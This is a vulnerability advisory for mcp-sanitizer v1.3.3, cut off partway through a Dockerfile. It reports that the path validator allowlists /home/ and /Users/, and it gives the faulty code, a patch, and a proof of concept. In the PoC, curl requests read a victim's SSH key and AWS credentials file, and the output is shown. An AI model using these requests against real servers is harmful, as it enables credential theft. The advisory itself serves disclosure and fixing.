mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

Summary

mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., fs.readFile) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.

Details

The vulnerability resides in the validateFilePath function inside src/utils/validation-utils.js. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:

// src/utils/validation-utils.js:188-196
if (!isInSafeLocation && path.isAbsolute(normalizedPath)) {
  const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
  const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =>
    normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())
  );

  if (!isAllowedAbsolute) {
    throw new Error('Absolute path not in allowed safe directory');
  }
}

Because /home/ and /Users/ are included in allowedAbsolutePaths, any path beneath those directories — including ~/.ssh/id_rsa, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, etc. — is considered safe and passes validation unchanged.

The dangerous paths (dangerousUnixPaths at src/utils/validation-utils.js:135) only cover /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/, and /sbin/. Home-directory sensitive subdirectories (.ssh, .aws, .gnupg, .kube, .config) are never checked.

The full data flow from a network request to the vulnerable return value is:

1. src/middleware/express.js:538-541 — The Express middleware routes file_reader/file_writer tool parameters to sanitizer.sanitize(params.file_path, { type: 'file_path' }).
2. src/sanitizer/mcp-sanitizer.js:523-524 — When context.type === 'file_path', _secureSanitizeFilePath() is called.
3. src/sanitizer/mcp-sanitizer.js:683-687 — validateFilePath() is invoked; if it does not throw, the normalized path is returned as the sanitized value.
4. src/utils/validation-utils.js:188-196 — The /home/ prefix check passes without error.
5. src/utils/validation-utils.js:200-201 — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.

A consumer application receiving { blocked: false, sanitized: '/home/victim/.ssh/id_rsa' } is expected to use that path for I/O. The sanitizer's own README and middleware integration imply that a blocked: false result is safe to act upon.

Suggested patch:

--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@
   const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];
+  const sensitiveHomeFragments = [
+    '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',
+    '/.npmrc', '/.env'
+  ];
@@
+  const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase();
+  if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {
+    throw new Error('Access to sensitive user configuration path not allowed');
+  }
@@
-    const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
+    const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];

PoC

Environment requirements: Docker, Python 3, Node.js 20

Step 1 — Build and start the reproduction container:

# From the vuln-002/ directory
python3 poc.py

The script automatically:

1. Copies the mcp-sanitizer source into a Docker build context.
2. Creates simulated victim files at /home/victim/.ssh/id_rsa and /home/victim/.aws/credentials inside the container.
3. Builds a consumer HTTP server (server.js) that calls sanitizer.sanitize() and then fs.readFile on the returned path.
4. Sends the three test requests described below.

Step 2 — Manual HTTP requests (after the container is running on port 13572):

Control test — must be blocked:

curl -s -X POST http://127.0.0.1:13572/tool \
  -H 'Content-Type: application/json' \
  -d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}'
# Expected: {"blocked": true}

Exploit test 1 — SSH private key exfiltration:

curl -s -X POST http://127.0.0.1:13572/tool \
  -H 'Content-Type: application/json' \
  -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."}

Exploit test 2 — AWS credentials exfiltration:

curl -s -X POST http://127.0.0.1:13572/tool \
  -H 'Content-Type: application/json' \
  -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."}

Observed results (Phase 2 dynamic reproduction):

[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}
  => blocked=true  ✓  (dangerousUnixPaths correctly blocks /etc/)

[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}
  => blocked=false, EXPLOIT_SUCCESS=true
  sanitized_path: /home/victim/.ssh/id_rsa
  file_content:
    -----BEGIN RSA PRIVATE KEY-----
    MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK
    SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002
    -----END RSA PRIVATE KEY-----

[Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'}
  => blocked=false, EXPLOIT_SUCCESS=true
  file_content:
    [default]
    aws_access_key_id = AKIAIOSFODNN7EXAMPLE
    aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
    region = us-east-1

Root cause confirmed: validation-utils.js:190 — allowedAbsolutePaths includes '/home/' and '/Users/'; any absolute path starting with /home/ passes with blocked=false.

Impact

This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability.

Any application that integrates mcp-sanitizer to validate file paths for MCP file_reader or file_writer tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under /home/ or /Users/ — requiring no authentication, no special privileges, and no interaction from a legitimate user.

Sensitive targets include but are not limited to:

• SSH private keys (~/.ssh/id_rsa, ~/.ssh/id_ed25519)
• Cloud provider credentials (~/.aws/credentials, ~/.config/gcloud/credentials.db)
• Kubernetes config (~/.kube/config)
• GPG keys (~/.gnupg/)
• Application tokens (~/.npmrc, ~/.netrc, ~/.env)

The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.

Reproduction artifacts

Dockerfile

# VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass
# Builds a Node 20 container with:
#   - mcp-sanitizer source from the local repo
#   - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/
#   - A consumer HTTP server that trusts the sanitizer

FROM node:20-slim

LABEL vuln="VULN-002" \
      cwe="CWE-22" \